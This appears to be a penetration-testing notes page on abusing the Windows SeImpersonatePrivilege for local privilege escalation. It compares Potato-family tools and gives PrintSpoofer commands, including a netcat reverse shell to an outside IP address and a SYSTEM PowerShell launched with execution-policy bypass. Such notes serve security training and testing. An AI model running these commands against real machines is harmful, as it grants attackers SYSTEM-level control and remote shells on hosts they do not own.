SeImpersonatePrivilege
The SeImpersonatePrivilege
allows a user to operate under another user's security context, typically by impersonating clients via mechanisms like named pipes or RPC.
The SeImpersonate
privilege is normally assigned to Administrator accounts and built-in service accounts like LOCAL SERVICE
, NETWORK SERVICE
, and SERVICE
. While rare for standard users, it is often accessible when gaining code execution through services like IIS, which commonly run under accounts that have it. In the context of privilege escalation, named pipes can be abused when a privileged process connects to a pipe controlled by a lower-privileged attacker. If the attacker has SeImpersonatePrivilege
, they can impersonate the connecting user, effectively hijacking their permissions.
PoCs
Check the OS build and map its version:
>ver
Microsoft Windows [Version 10.0.18362.719]
>systeminfo
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.18362 N/A Build 18362

JuicyPotato
COM objects implementing IMarshal
Flexible; works with many COM objects. Use -z
to test CLSID first.
Most Windows versions (Server 2008 SP1 and up, including 10/11)
PrintSpoofer
RPC / Named Pipes (Print Spooler API)
Fast and reliable; requires Print Spooler service to be running.
Windows 10 / 2016–2019 (some patched)
GodPotato
COM Server Hijack
Use when PrintSpoofer is patched; requires specific COM object.
Newer Windows (10/11)
SigmaPotato
Event Log Service / Spooler / WMI
Fallback when PrintSpoofer and GodPotato fail; depends on legacy service configuration.
Windows 10+ (better on newer builds)
PrintSpoofer is a local privilege escalation exploit that abuses the SeImpersonatePrivilege
to impersonate the SYSTEM
account via a named pipe trick. It can be leveraged to sent a reverse shell or execute commands directly:
# Reverse shell
PrintSpoofer.exe -c "nc.exe 10.10.13.37 1337 -e cmd"
# Command execution
PrintSpoofer.exe -i -c cmd
It can also be used to spawn a SYSTEM
shell on the desktop, for instance, when logged in via an RDP session:
# Check your session ID
C:\TOOLS>qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>rdp-tcp lab-user 3 Active
# Spawn a new shell
C:\TOOLS>PrintSpoofer.exe -d 3 -c "powershell -ep bypass"
Last updated
Was this helpful?